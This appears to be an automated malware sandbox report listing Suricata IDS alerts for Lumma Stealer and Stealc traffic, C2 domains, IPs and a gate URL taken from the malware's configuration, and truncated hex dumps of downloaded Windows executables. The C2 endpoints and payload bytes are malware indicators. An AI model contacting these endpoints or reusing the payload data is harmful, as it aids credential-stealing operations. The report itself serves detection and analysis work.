Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50082 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50090 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50080 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50092 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50089 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50093 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.6:50086 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50125 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.6:63887 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49709 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49709 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49711 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49711 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49712 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49754 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49998 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49998 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50009 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50009 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50007 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50010 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50010 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:49732 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50002 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50040 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50042 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50092 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50080 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50080 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50082 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50082 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50004 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49994 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49994 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50090 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50090 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: unknown

Network traffic detected: DNS query count 33

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 04:24:20 GMTContent-Type: application/octet-streamContent-Length: 2899456Last-Modified: Wed, 30 Oct 2024 03:12:16 GMTConnection: keep-aliveETag: "6721a410-2c3e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 f0 41 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 6c 6a 72 69 61 70 70 00 e0 2b 00 00 a0 00 00 00 de 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 75 64 74 61 76 67 74 00 20 00 00 00 80 2c 00 00 04 00 00 00 18 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2c 00 00 22 00 00 00 1c 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 04:24:27 GMTContent-Type: application/octet-streamContent-Length: 1883648Last-Modified: Wed, 30 Oct 2024 04:13:06 GMTConnection: keep-aliveETag: "6721b252-1cbe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 90 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 4a 00 00 04 00 00 20 f0 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 72 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 71 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 71 64 64 65 7a 74 67 00 b0 19 00 00 d0 30 00 00 a4 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 7a 65 6c 72 63 79 76 00 10 00 00 00 80 4a 00 00 04 00 00 00 98 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 4a 00 00 22 00 00 00 9c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 04:25:09 GMTContent-Type: application/octet-streamContent-Length: 2994688Last-Modified: Wed, 30 Oct 2024 04:12:46 GMTConnection: keep-aliveETag: "6721b23e-2db200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 c0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 30 00 00 04 00 00 c9 55 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 70 6d 6d 6a 6b 75 70 00 00 2b 00 00 b0 05 00 00 f8 2a 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 76 66 72 68 6b 66 74 00 10 00 00 00 b0 30 00 00 04 00 00 00 8c 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 30 00 00 22 00 00 00 90 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 04:25:20 GMTContent-Type: application/octet-streamContent-Length: 2145792Last-Modified: Wed, 30 Oct 2024 04:12:59 GMTConnection: keep-aliveETag: "6721b24b-20be00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 00 73 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 73 00 00 04 00 00 de 66 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 70 78 6e 7a 69 70 78 00 10 1a 00 00 e0 58 00 00 0c 1a 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 74 67 72 62 66 61 71 00 10 00 00 00 f0 72 00 00 06 00 00 00 96 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 73 00 00 22 00 00 00 9c 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 04:25:30 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Wed, 30 Oct 2024 03:11:49 GMTConnection: keep-aliveETag: "6721a3f5-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ed a3 21 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 c3 0d 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 04:25:34 GMTContent-Type: application/octet-streamContent-Length: 2899456Last-Modified: Wed, 30 Oct 2024 03:12:16 GMTConnection: keep-aliveETag: "6721a410-2c3e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 f0 41 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 